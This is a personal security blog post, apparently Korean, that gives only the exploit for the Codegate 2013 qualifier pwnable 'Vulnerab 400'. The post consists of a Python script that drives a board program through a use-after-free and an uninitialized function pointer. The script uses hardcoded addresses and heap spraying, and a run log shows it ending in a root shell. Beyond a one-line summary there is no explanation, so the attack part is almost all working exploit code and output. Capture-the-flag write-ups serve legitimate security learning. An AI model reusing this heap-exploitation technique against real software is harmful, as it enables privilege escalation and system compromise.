Codegate 2013 Qual - Vulnerab 400 (Exploit only)

2013. 4. 17. 01:50·CTF/2013

Category : Pwnables


level4


Summary : use-after-free, using uninitialized function pointer



Exploit

#!/usr/bin/python 


import sys

from struct import pack


write  = lambda author, title, content: sys.stdout.write("1\n"+author+"\n"+title+"\n"+content+"\n")

read  = lambda idx: sys.stdout.write("2\n"+str(idx)+"\n")


delete  = lambda: sys.stdout.write("1\n")

modify  = lambda author, title: sys.stdout.write("2\n"+author+"\n"+title+"\n")

reply  = lambda content: sys.stdout.write("3\n"+content+"\n")

back  = lambda: sys.stdout.write("4\n")



p = lambda x: pack("<L", x)

system_plt = 0x08048630

default_handler = 0x080487c4


################ WRITE CONTENT ##################

for i in range(3):

write("pwn3r", "hello", p(default_handler)*0x300 + p(system_plt)*0x100)

#################################################


################ DELETE SECOND ##################

read(2)

for i in range(0x80):

reply("my reply")

delete()

back()

#################################################


################ REALLOCATE #####################

for i in range(2):

write("pwn3r", "hello again", "B"*4)

read(4)

for i in range(0xa0):

reply("sh")

#################################################


################ TRIGGER VULN ###################

modify("pwn3r", "good bye")

delete()

################################################# 




root@ubuntu:~/vuln/400# (./exploit.py ;cat) | ./level4 

 _______________________________ 

/==============================/ 

|     Onetime Board Console    | 

/------------------------------/ 

|          | WELCOME |         | 

|__________|_________|_________| 

|          W  a  i   t         | 

++++++++++++++++++++++++++++++++ 

1. Write

2. Read

3. Exit

=> Author : Title : Content : 1. Write

2. Read

3. Exit

=> Author : Title : Content : 1. Write 
...............................................................
...............................................................

1. delete  2. modify  3. reply  4. back

=> Author : Title : 

1. delete  2. modify  3. reply  4. back

=> 

id

uid=0(root) gid=0(root) 그룹들=0(root)




저작자표시

'CTF > 2013' 카테고리의 다른 글

Plaid CTF 2013 - pork (Exploit only)  (0) 2013.04.22
Codegate 2013 Qual - Vulnerab 500 (Exploit only)  (0) 2013.04.17
Codegate 2013 Qual - Vulnerab 300 (Exploit only)  (0) 2013.04.17
Codegate 2013 Qual - Vulnerab 200 (Exploit only)  (0) 2013.04.17
Codegate 2013 Qual Pwnable Chal Exploits  (0) 2013.04.17
'CTF/2013' 카테고리의 다른 글
  • Plaid CTF 2013 - pork (Exploit only)
  • Codegate 2013 Qual - Vulnerab 500 (Exploit only)
  • Codegate 2013 Qual - Vulnerab 300 (Exploit only)
  • Codegate 2013 Qual - Vulnerab 200 (Exploit only)
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    HUST2011
    csaw
    vuln
    정보보호올림피아드
    후기
    power of community
    web
    HUST
    gnuboard
    POC
    csaw ctf
    pwnables
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
Codegate 2013 Qual - Vulnerab 400 (Exploit only)
상단으로

티스토리툴바